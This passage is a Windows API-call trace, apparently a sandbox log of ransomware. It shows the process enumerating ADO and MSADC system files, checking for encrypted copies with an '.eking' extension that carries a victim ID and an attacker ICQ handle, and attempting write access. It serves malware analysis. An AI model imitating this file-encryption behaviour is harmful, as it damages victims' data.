(lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado20.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0292.363] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado21.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0292.363] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=53760) returned 1 [0292.363] CloseHandle (hObject=0x2f0) returned 1 [0292.363] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado21.tlb")) returned 0x20 [0292.363] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado21.tlb")) returned 0x20 [0292.363] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\system\\ado\\msado21.tlb.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0292.363] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado21.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0292.364] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado25.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0292.364] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=69632) returned 1 [0292.364] CloseHandle (hObject=0x2f0) returned 1 [0292.364] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado25.tlb")) returned 0x20 [0292.364] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado25.tlb")) returned 0x20 [0292.365] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\system\\ado\\msado25.tlb.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0292.365] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado25.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0292.365] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado26.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0292.365] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=70656) returned 1 [0292.365] CloseHandle (hObject=0x2f0) returned 1 [0292.365] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado26.tlb")) returned 0x20 [0292.366] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado26.tlb")) returned 0x20 [0292.366] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\system\\ado\\msado26.tlb.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0292.366] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado26.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0292.366] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado27.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0292.367] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=71168) returned 1 [0292.367] CloseHandle (hObject=0x2f0) returned 1 [0292.367] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado27.tlb")) returned 0x20 [0292.367] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado27.tlb")) returned 0x20 [0292.367] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\system\\ado\\msado27.tlb.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0292.367] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado27.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0294.207] SetEvent (hEvent=0x2a0) returned 1 [0294.208] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcer.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcer.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0294.209] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=10240) returned 1 [0294.209] CloseHandle (hObject=0x304) returned 1 [0294.209] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcer.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcer.dll.mui")) returned 0x20 [0294.209] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcer.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcer.dll.mui")) returned 0x20 [0294.209] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcer.dll.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcer.dll.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0294.209] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcer.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcer.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0294.210] SetEvent (hEvent=0x2a0) returned 1 [0294.210] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcor.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcor.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0294.211] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=6144) returned 1 [0294.211] CloseHandle (hObject=0x304) returned 1 [0294.211] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcor.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcor.dll.mui")) returned 0x20 [0294.211] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcor.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcor.dll.mui")) returned 0x20 [0294.212] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcor.dll.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcor.dll.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0294.212] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcor.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcor.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0294.212] SetEvent (hEvent=0x2a0) returned 1 [0294.213] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msaddsr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msaddsr.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0294.213] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=14336) returned 1 [0294.213] CloseHandle (hObject=0x304) returned 1 [0294.220] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msaddsr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msaddsr.dll.mui")) returned 0x20 [0294.220] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msaddsr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msaddsr.dll.mui")) returned 0x20 [0294.221] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msaddsr.dll.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msaddsr.dll.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0294.221] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msaddsr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msaddsr.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0294.221] SetEvent (hEvent=0x2a0) returned 1 [0294.222] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaprsr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msdaprsr.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0294.223] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=7680) returned 1 [0294.223] CloseHandle (hObject=0x304) returned 1 [0294.223] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaprsr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msdaprsr.dll.mui")) returned 0x20 [0294.223] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaprsr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msdaprsr.dll.mui")) returned 0x20 [0294.223] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaprsr.dll.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msdaprsr.dll.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0294.223] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaprsr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msdaprsr.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0294.223] SetEvent (hEvent=0x2a0) returned 1 [0294.224] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaremr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msdaremr.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0294.225] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=6144) returned 1 [0294.225] CloseHandle (hObject=0x304) returned 1 [0294.225] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaremr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msdaremr.dll.mui")) returned 0x20 [0294.225] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaremr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msdaremr.dll.mui")) returned 0x20 [0294.225] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaremr.dll.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msdaremr.dll.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0294.225] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaremr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msdaremr.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0294.225] SetEvent (hEvent=0x2a0) returned 1 [0294.226] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadce.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadce.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0294.226] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=695296) returned 1 [0294.226] CloseHandle (hObject=0x304) returned 1 [0294.227] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadce.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadce.dll")) returned 0x20 [0294.227] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadce.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadce.dll")) returned 0x20 [0294.227] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadce.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\system\\msadc\\msadce.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0294.227] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadce.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadce.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0294.227] SetEvent (hEvent=0x2a0) returned 1 [0294.228] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadcer.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcer.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0294.228] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=2560) returned 1 [0294.228] CloseHandle (hObject=0x304) returned 1 [0294.228] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadcer.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcer.dll")) returned 0x20 [0294.229] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadcer.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcer.dll")) returned 0x20 [0294.229] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadcer.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcer.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0294.229] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadcer.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcer.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0294.229] SetEvent (hEvent=0x2a0) returned 1 [0294.230] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadco.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadco.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0294.230] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=242688) returned 1 [0294.230] CloseHandle (hObject=0x304) returned 1 [0294.230] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadco.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadco.dll")) returned 0x20 [0294.231] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadco.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadco.dll")) returned 0x20 [0294.231] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadco.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\system\\msadc\\msadco.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0294.231] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadco.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadco.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0294.231] SetEvent (hEvent=0x2a0) returned 1 [0294.232] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadcor.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcor.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0294.232] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=2560) returned 1 [0294.232] CloseHandle (hObject=0x304) returned 1 [0294.233] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadcor.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcor.dll")) returned 0x20 [0294.233] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadcor.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcor.dll")) returned 0x20 [0294.233] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadcor.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcor.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0294.233] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadcor.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcor.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0294.233] SetEvent (hEvent=0x2a0) returned 1 [0294.234] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadds.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadds.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0294.234] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=279552) returned 1 [0294.234] CloseHandle (hObject=0x304) returned 1 [0294.234] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadds.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadds.dll")) returned 0x20 [0294.235] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadds.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadds.dll")) returned 0x20 [0294.235] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadds.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\system\\msadc\\msadds.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0294.235] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadds.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadds.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0294.235] SetEvent (hEvent=0x2a0) returned 1 [0294.235] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msaddsr.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msaddsr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0294.236] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=2560) returned 1 [0294.236] CloseHandle (hObject=0x304) returned 1 [0294.236] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msaddsr.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msaddsr.dll")) returned 0x20 [0294.236] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msaddsr.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msaddsr.dll")) returned 0x20 [0294.236] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msaddsr.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\system\\msadc\\msaddsr.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0294.236] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msaddsr.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msaddsr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0294.237] SetEvent (hEvent=0x2a0) returned 1 [0294.237] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdaprsr.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaprsr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0294.238] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=2560) returned 1 [0294.238] CloseHandle (hObject=0x304) returned 1 [0294.238] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdaprsr.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaprsr.dll")) returned 0x20 [0294.238] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdaprsr.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaprsr.dll")) returned 0x20 [0294.238] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdaprsr.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaprsr.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0294.238] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdaprsr.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaprsr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0294.239] SetEvent (hEvent=0x2a0) returned 1 [0294.239] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdaprst.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaprst.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0294.241] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=356352) returned 1 [0294.241] CloseHandle (hObject=0x304) returned 1 [0294.241] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdaprst.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaprst.dll")) returned 0x20 [0294.241] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdaprst.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaprst.dll")) returned 0x20 [0294.241] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdaprst.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaprst.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0294.241] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdaprst.dll" (normalized: "c:\\program 